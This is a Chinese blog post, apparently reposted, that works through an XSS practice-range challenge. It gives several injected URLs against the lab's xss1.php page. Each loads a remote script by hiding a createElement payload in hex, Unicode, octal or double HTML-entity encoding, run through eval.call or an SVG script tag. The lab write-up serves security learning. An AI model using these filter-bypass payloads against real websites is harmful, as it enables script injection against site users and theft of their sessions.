【XSS 系列】独孤九剑第一手式【小草】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


      开头,先感谢小草表哥提供的XSS 练习靶场和群里师傅们分享的思路,谢谢大哥们,抱腿真舒服,奇奇怪怪的知识真多。


目录

0x01 独孤九剑第一手式【小草】

0x02 Eval+JavaScript 编码绕过

0x03 HTML 实体编码+URL编码绕过


0x01 独孤九剑第一手式【小草】

      昨夜,看群看到小草表哥做的XSS练习靶场,今天睡醒了后来学习一下一些又多了的奇奇怪怪的姿势,我们首先访问页面,发现有一个师傅已经给出了思路,这题不是讲XSS漏洞的发现,而是XSS漏洞的利用方法,拿扫描器你扫不出啥来的。

题目:

        要求我们加载任意JS代码,且成功加载http://xcao.vip/xss/alert.js

                     

window._alert=alert;
window.alert=function(data){
	_alert("success");
}
alert(1);

实体编码转换地址:http://bianma.51240.com/

0x02 Eval+JavaScript 编码绕过

解题思路:

  1. 通过使用 document.createElement() 方法来创建 <script>元素。
  2. 然后利用document.body.appendChild() 方法,将指定的DOM类型的节点加到document.body的末尾。

十六进制:

\x61\x67\x61\x6E\x3D\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x28\x27\x53\x43\x52\x49\x50\x54\x27\x29\x3B\x61\x67\x61\x6E\x2E\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x78\x63\x61\x6F\x2E\x76\x69\x70\x2F\x78\x73\x73\x2F\x61\x6C\x65\x72\x74\x2E\x6A\x73\x27\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x62\x6F\x64\x79\x2E\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x28\x61\x67\x61\x6E\x29\x3B

                            

XSS PayLod:

agan=document.createElement('SCRIPT');agan.src='http://xcao.vip/xss/alert.js';document.body.appendChild(agan);

成功弹窗

Unicode:

\u0061\u0067\u0061\u006E\u003D\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006C\u0065\u006D\u0065\u006E\u0074\u0028\u0027\u0053\u0043\u0052\u0049\u0050\u0054\u0027\u0029\u003B\u0061\u0067\u0061\u006E\u002E\u0073\u0072\u0063\u003D\u0027\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0078\u0063\u0061\u006F\u002E\u0076\u0069\u0070\u002F\u0078\u0073\u0073\u002F\u0061\u006C\u0065\u0072\u0074\u002E\u006A\u0073\u0027\u003B\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0062\u006F\u0064\u0079\u002E\u0061\u0070\u0070\u0065\u006E\u0064\u0043\u0068\u0069\u006C\u0064\u0028\u0061\u0067\u0061\u006E\u0029\u003B

                            

XSS Paylod:

http://xcao.vip/test/xss1.php?data=xxx%22%3E%3Cscript%3Eeval.call`${%27\141\147\141\156\075\144\157\143\165\155\145\156\164\056\143\162\145\141\164\145\105\154\145\155\145\156\164\050\047\123\103\122\111\120\124\047\051\073\141\147\141\156\056\163\162\143\075\047\150\164\164\160\072\057\057\170\143\141\157\056\166\151\160\057\170\163\163\057\141\154\145\162\164\056\152\163\047\073\144\157\143\165\155\145\156\164\056\142\157\144\171\056\141\160\160\145\156\144\103\150\151\154\144\050\141\147\141\156\051\073%27}`%3C/script%3E

八进制:

\141\147\141\156\075\144\157\143\165\155\145\156\164\056\143\162\145\141\164\145\105\154\145\155\145\156\164\050\047\123\103\122\111\120\124\047\051\073\141\147\141\156\056\163\162\143\075\047\150\164\164\160\072\057\057\170\143\141\157\056\166\151\160\057\170\163\163\057\141\154\145\162\164\056\152\163\047\073\144\157\143\165\155\145\156\164\056\142\157\144\171\056\141\160\160\145\156\144\103\150\151\154\144\050\141\147\141\156\051\073

           

XSS Payload:

http://xcao.vip/test/xss1.php?data=xxx%22%3E%3Cscript%3Eeval.call`${%27\141\147\141\156\075\144\157\143\165\155\145\156\164\056\143\162\145\141\164\145\105\154\145\155\145\156\164\050\047\123\103\122\111\120\124\047\051\073\141\147\141\156\056\163\162\143\075\047\150\164\164\160\072\057\057\170\143\141\157\056\166\151\160\057\170\163\163\057\141\154\145\162\164\056\152\163\047\073\144\157\143\165\155\145\156\164\056\142\157\144\171\056\141\160\160\145\156\144\103\150\151\154\144\050\141\147\141\156\051\073%27}`%3C/script%3E


 

0x03 HTML 实体编码+URL编码绕过

解题思路:

可缩放矢量图形(SVG)是用于二维图形的基于XML的矢量图像格式,并支持交互性和动画。

SVG文件还支持嵌入式javascript代码。例如,开发人员可能在svg图像中使用javascript,以便他们可以实时进行操作。

如果网站使用XSS有效负载加载SVG文件,则将执行该文件。

  1. 将document 这段代码先进行Html 实体编码后,再进行HTML 实体编码后,再进行URL编码
  2. 最后,使用<SVG>绕过

注意:HTML标签中是支持10进制和16进制编码的,那么先将javascript:alert(1)做10进制编码,再做一次URL编码,为什么需要再做一次编码呢?是因为参数值中有&和#,需要一次URL编码

agan=document.createElement('SCRIPT');agan.src='http://xcao.vip/xss/alert.js';document.body.appendChild(agan);

或

document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js'

                  

XSS Payload:

http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x61%3b%26%23x67%3b%26%23x61%3b%26%23x6E%3b%26%23x3D%3b%26%23x64%3b%26%23x6F%3b%26%23x63%3b%26%23x75%3b%26%23x6D%3b%26%23x65%3b%26%23x6E%3b%26%23x74%3b%26%23x2E%3b%26%23x63%3b%26%23x72%3b%26%23x65%3b%26%23x61%3b%26%23x74%3b%26%23x65%3b%26%23x45%3b%26%23x6C%3b%26%23x65%3b%26%23x6D%3b%26%23x65%3b%26%23x6E%3b%26%23x74%3b%26%23x28%3b%26%23x27%3b%26%23x53%3b%26%23x43%3b%26%23x52%3b%26%23x49%3b%26%23x50%3b%26%23x54%3b%26%23x27%3b%26%23x29%3b%26%23x3B%3b%26%23x61%3b%26%23x67%3b%26%23x61%3b%26%23x6E%3b%26%23x2E%3b%26%23x73%3b%26%23x72%3b%26%23x63%3b%26%23x3D%3b%26%23x27%3b%26%23x68%3b%26%23x74%3b%26%23x74%3b%26%23x70%3b%26%23x3A%3b%26%23x2F%3b%26%23x2F%3b%26%23x78%3b%26%23x63%3b%26%23x61%3b%26%23x6F%3b%26%23x2E%3b%26%23x76%3b%26%23x69%3b%26%23x70%3b%26%23x2F%3b%26%23x78%3b%26%23x73%3b%26%23x73%3b%26%23x2F%3b%26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x2E%3b%26%23x6A%3b%26%23x73%3b%26%23x27%3b%26%23x3B%3b%26%23x64%3b%26%23x6F%3b%26%23x63%3b%26%23x75%3b%26%23x6D%3b%26%23x65%3b%26%23x6E%3b%26%23x74%3b%26%23x2E%3b%26%23x62%3b%26%23x6F%3b%26%23x64%3b%26%23x79%3b%26%23x2E%3b%26%23x61%3b%26%23x70%3b%26%23x70%3b%26%23x65%3b%26%23x6E%3b%26%23x64%3b%26%23x43%3b%26%23x68%3b%26%23x69%3b%26%23x6C%3b%26%23x64%3b%26%23x28%3b%26%23x61%3b%26%23x67%3b%26%23x61%3b%26%23x6E%3b%26%23x29%3b%26%23x3B%3b</script></svg>

      当然还有其它的绕过姿势有兴趣的可以一 一尝试DATA协议(IE不支持)、URL编码等等,此题不是让你去弹个XSS,而是去加载js文件,别陷入误区了


虽然我们生活在阴沟里,但依然有人仰望星空!


猜你喜欢

转载自blog.csdn.net/God_XiangYu/article/details/106442062
xss